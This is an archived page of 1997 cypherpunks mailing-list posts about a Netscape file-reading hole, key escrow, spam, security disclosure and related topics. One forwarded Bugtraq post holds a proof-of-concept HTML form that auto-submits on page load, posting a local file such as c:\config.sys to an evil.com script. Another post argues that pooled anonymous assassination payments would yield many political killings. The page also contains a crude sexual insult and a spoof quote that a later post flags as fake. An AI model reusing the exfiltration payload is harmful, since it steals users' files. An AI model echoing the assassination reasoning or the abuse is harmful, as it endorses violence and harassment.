December 2003 - cypherpunks-legacy

Impact of Netscape kernel hole (fwd)
by Paul Bradley 17 Dec '03

17 Dec '03

>It'd be nice to have more specifics about the whole situation, but >regardless - any preliminary threat assessments? Exactly how widely >exploited do you think this has been? > >Tim's post (although refuted by Marc) raises some serious issues since I >suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp > >Some coherent input on the possible impact of this would be appreciated. Basically the threat model is very simple: Joe "slightly crypto-savvy pgp user" sixpack keeps his pgp keyring in c:\pgp on a dos/w95 box. The average user of any of the unices keeps his keyring in /usr/pgp or /usr/local/pgp it does not take a lot of attempts to go through most of the common places. The very same guy probably has a password that is: A. FRED (notice how close the letters are, this is a real dumb-ass password of the century) B. His wifes name C. Her birthday D. The name of his favourite film or some character from it... Can you say "dictionary attack"???. I must admit I personally, against all the rules, keep my pgp secret key on this box. This doesn`t worry be greatly because: 1. I have a strong passphrase. 2. This box is only on dialup, so is not connected for long, and I VERY rarely use the web anyway, Its too slow, so I prefer ftpmail and ftp for getting files. This corresondingly reduces the risk of me having used a site that exploited this hole. 3. If I ever have anything to recieve that needs to be really secure I use a one time key pair, so even the RSA key is one time. Most PGP mail I send or recieve is fairly innocuous and the use of encryption is just precautionary, ie. to stop nosy sysadmins. What it basically comes down to is that Joe Sixpack, the guy most likely to have his key compromised by this attack, is: 1. Not likely to be sending valuable enough mail to expend time mounting even a simple dictionary attack on his key. 2. The least likely to know about, understand or respond to this flaw. So basically the threat is the usual one: The stupid will get caught. If you are sending highly criminal mail your key shouldn`t be on any machine not 12 feet underground in a concrete bunker with 24 hour fully trusted security guards, CCTV etc. etc. anyway. Datacomms Technologies data security Paul Bradley, Paul(a)fatmans.demon.co.uk Paul(a)crypto.uk.eu.org, Paul(a)cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey"

5 5

This is NOT trespassing.
by cypherpunks＠Algebra.COM 17 Dec '03

17 Dec '03

Did you pay for your TV? Do you buy electricity by the KWH? Pay a monthly cable bill? If so, then why isn't a television commercial considered theft of your televised resources? Doesn't it cost something to ride the bus? Then why aren't the public transport's advertisers guilty of stealing your wallspace? What about newspapers, magazines, radio stations, going to the movies, driving on any road, almost any PAID activity in life? Each has its attendent advertisments and commercials. We PAY for an enormous percentage of solicitations. Everyday. WHY SHOULD YOUR EMAIL BOX BE ANY DIFFERENT? Fact is, it isn't. Nor will it ever be. When you make any contact in public via any media or communication form, there will come invitations, solicitations, possibly vexations and the like. It's one of the prices we must pay in order to be able to communicate at all. P.S. sure is hard to tell what's "blue" these days.

2 1

[ANNOUNCEMENT] Forgery detection
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

Timmy May studied yoga back-streching exercises for five years so he could blow himself (nobody else will). ,,, -ooO(o o)Ooo- Timmy May (_)

2 1

Re: FCPUNX:Flag Burning...
by jamesd＠echeque.com 17 Dec '03

17 Dec '03

On 13 Jun 97 at 1:20, RS wrote: > To allow someone to publicly burn a flag is essentially displaying our > freedom being burned. Who is that most gravely desecrates the American flag? Those who burn it, spit on it, shit on it? Or those who violate the principles for which it stands? --------------------------------------------------------------------- | We have the right to defend ourselves | http://www.jim.com/jamesd/ and our property, because of the kind | of animals that we are. True law | James A. Donald derives from this right, not from the | arbitrary power of the state. | jamesd(a)echeque.com

1 0

Re: FCPUNX:Netscape Security Flaw is a Feature
by jamesd＠echeque.com 17 Dec '03

17 Dec '03

At 09:33 PM 6/12/97 -0700, Tim May wrote: > According to Netscape spokesmen, this feature was added to the kernel of > Mosaic, then Navigator, in 1993, as part of the Clipper Key Recovery > Program. As James Clarke put it an interview tonight on MSNBC, "Dorothy > Denning asked us to insert the "remote read" capabilities to ensure that > the legitimate needs of law enforcement are met. No person cruising the Web > has any expectation of privacy, as even Declan McCullagh has pointed out." > > Marc Rotenberg commented, "Privacy at the individual user level is > unimportant, just so long as a Privacy Ombudsman can decide on the > legitimate needs of law enforcement." Please cut the spoofing, or add visible indication of when you are spoofing for the benefit of the less well informed amongst our audience. I suggest that any spoof you write should come not from Tim May, but from Class B Citizen Unit 8387 Tim May. --------------------------------------------------------------------- | We have the right to defend ourselves | http://www.jim.com/jamesd/ and our property, because of the kind | of animals that we are. True law | James A. Donald derives from this right, not from the | arbitrary power of the state. | jamesd(a)echeque.com

1 0

Re: FCPUNX:Untraceable Contract Killings
by jamesd＠echeque.com 17 Dec '03

17 Dec '03

At 05:39 PM 6/10/97 -0700, Wei Dai wrote: > I think the novelty of Bell's scheme is that it allows assassination > payments to be pooled from a large number of anonymous payers without > explicit coordination (i.e., the payers do not have to communicate with > each other to work out a contract, etc.). For killing a neighbor it > doesn't improve upon the simple untraceable contract, but it can make a > big difference when the target has many enemies (Bell gave politicians as > an example). > > Now in light of the fact that when the target has many enemies the > assassination becomes a non-excludable public good, it is almost certain > that the scheme cannot actually work in practice. All of the potential > payers would rather free-ride and let others pay, so the public good ends > up not being "produced". This not correct: Public goods are underproduced, but they are produced. Thus Bell's scheme would lead to less than the economically optimal number of political assassinations, but this is still a great deal more than zero, and still likely to have substantial effect on political behavior. --------------------------------------------------------------------- | We have the right to defend ourselves | http://www.jim.com/jamesd/ and our property, because of the kind | of animals that we are. True law | James A. Donald derives from this right, not from the | arbitrary power of the state. | jamesd(a)echeque.com

1 0

IBM sues critics?
by Secret Squirrel 17 Dec '03

17 Dec '03

According to a usually reliable contact in a position to know, IBM Friday filed a liable suit against the 11 authors of the study titled "The risks of key recovery, key escrow and trusted third-party encryption" plus their employers and the Centere for Democracy and Technology, which sponsored the report. According to my contact, IBM feels that the report directly targets their own key recovery system, and falsely implies that it isn't reliable. They are asking for unspecified damages. This means IBM is suing such people as Matt Blaze, Whitfield Diffie, and Ronald Rivest, along with AT&T, Sun, Microsoft, and MIT over the question of whether its key recovery system really works. Considering that truth is a defense and the details of the IBM system could be part of the defense's evidence, it should be an interesting trial to say the least. I have not seen the actual court papers and really have no idea whether my contact is totally accurate. Can anyone confirm the details? I just read the study in question, and it sounds like IBM is totally out of line and trying to intimidate its critics with threats of expensive if frivolous lawsuits. On the other hand, some of the parties named in the suit (Microsoft, AT&T) have their own armies of lawyers to defend themselves, so it's hard to be sure of what's going on here. I think the report is still at www.crypto.com or www.cdt.org.

4 3

Re: IBM sues critics?
by John Young 17 Dec '03

17 Dec '03

Secret Squirrel wrote: >According to a usually reliable contact in a position to know, IBM Friday >filed a liable suit against the 11 authors of the study >titled "The risks of key recovery, key escrow and trusted third-party >encryption" plus their employers and the Centere for Democracy and >Technology, which sponsored the report. According to my contact, IBM >feels that the report directly targets their own key recovery system, >and falsely implies that it isn't reliable. They are asking for >unspecified damages. If this report is true it's worth taking a look at IBM's policy paper "The need for a global cryptographic policy framework" to understand why the key study report is such a threat to Blue's global market strategy: http://www.ibm.com/security/html/pp_global.html IBM's economic incentive to attack the report is substantial, not least because it hopes to garner the lion's share of global GAK -- not that that's news.

1 0

Netscape Exploit
by Lucky Green 17 Dec '03

17 Dec '03

>Approved-By: aleph1(a)UNDERGROUND.ORG >Date: Sat, 14 Jun 1997 19:21:30 -0500 >Reply-To: root <root(a)BACKWATER.PBX.ORG> >Sender: Bugtraq List <BUGTRAQ(a)NETSPACE.ORG> >From: root <root(a)BACKWATER.PBX.ORG> >Subject: Netscape Exploit >To: BUGTRAQ(a)NETSPACE.ORG > >Here is a sample it isn't complete but you get the basic idea of what is >going on ><HTML><HEAD><TITLE>Evil-DOT-COM Homepage</TITLE><HEAD> > ><BODY onLoad="daForm.submit()"> ><FORM > NAME="daForm" > ACTION="http://evil.com/cgi-bin/formmail.pl" > METHOD=POST> > ><INPUT TYPE=FILE VALUE="c:\config.sys" Name="Save This Document on your >Harddrive"> ><INPUT TYPE=HIDDEN NAME="recipient" value="foobar(a)evil.com"> > >and so on and so forth... --Lucky Green <shamrock(a)netcom.com> PGP encrypted mail preferred. Put a stake through the heart of DES! Join the quest at http://www.frii.com/~rcv/deschall.htm

2 1

e$: Skins vs. Shirts
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text Sender: e$(a)thumper.vmeng.com Reply-To: Robert Hettinga <rah(a)shipwright.com> Mime-Version: 1.0 Precedence: Bulk Date: Sat, 14 Jun 1997 14:02:41 -0400 From: Robert Hettinga <rah(a)shipwright.com> To: Multiple recipients of <e$(a)thumper.vmeng.com> Subject: e$: Skins vs. Shirts At 10:28 am -0400 on 6/14/97, Adam Shostack wrote: > Are FAT file lists stored as files? > > On a Unix box, /. refers to the file containing directory > entries, the list of files in the directory. If there is an analogous > file on a dos box, you can explore. (Does the bug work on Unix? I've > heard it only works if java or livescript are turned on, so it hasn't > worried me enough to investigate.) All this reminds me of something Tim May, Eric Hughes, and others have said before. Once you've gotten to the point where loss of security equals, in a very literal sense, loss of money, the incentive to publicize any given security hole starts to go away. Adam, above, is speculating about the mechanics of a Netscape security hole, which, two years ago, would have gotten someone like Ian Goldberg a grand and a t-shirt, but probably only after they had published it on the net, just like Mssrs Goldberg and Wagner had to do, in order to get Netscape's attention. That included directions for how to replicate the problem. Back then, we wouldn't have been speculating about the mechanics of the hole, because people would be playing with it to see how it worked. As it is, latest hole was published in terms of its results only, and not its mechanics. Instead, those precious details were relased only to Netscape, and only for, NPR says, "an undisclosed sum". Lest we think of this as latter-day greenmail, we have to remember that greenmail actually had it's putative effect, which was to increase the returns to the shareholders by increasing the stock price. It was never fair to begrudge T. Boone Pickens the pound of flesh he extracted from companies like Phillips Petroleum, mostly because the pound he cut off was usually lard, anyway. Not to compare Netscape to a Pritikin candidate, of course. Nobody can see all the consequences of tens or hundreds of thousands of lines of code, and the very best way to solve the semantic problem that poses is the internet way, by swarming it to death. With that in mind, I expect that the next stage in this increasing security "price" escallation will be much more interesting. It won't be long before the first people who say anything about a new security hole will be people who have money stolen from them, and not much will be said by the people who discover those holes in the first place. And, of course, lots of those people probably won't be so virtuous in their use of what they figure out, either. We're about to enter a new era of parallel evolution, much like the relationship between cheeetahs and Thompson's gazelles, where a constant arms race makes predator and prey more efficient, excellerating evolution in both species. Now, I don't think this forgives people from publishing their source code, far from it. I expect that people selling financial cryptography and allied commercial products will still have to publish their source, or nobody will trust it enough buy it. I'm just saying that it will tend to be the victims, and probably not the next generation of "moneypunks", who will be announcing the failure of any given commerce application. So, instead being one of free shirts, the game will be one of payment in, um, skins. And, before long, there will be many more skins out there belonging to people who are spending money than the people who accidentally built the wallets with holes in them could ever pay in gre$enmail. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ ---------- The e$ lists are brought to you by: Intertrader Ltd: "Digital Money Online" <http://www.intertrader.com/library/DigitalMoneyOnline> Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info(a)hyperion.co.uk Like e$? Help pay for it! <http://www.shipwright.com/beg.html> For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com> Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com> (Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com> Commermeister: Anthony Templer <mailto:anthony@atanda.com> Interturge: Rodney Thayer <mailto:rodney@sabletech.com> --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/

7 10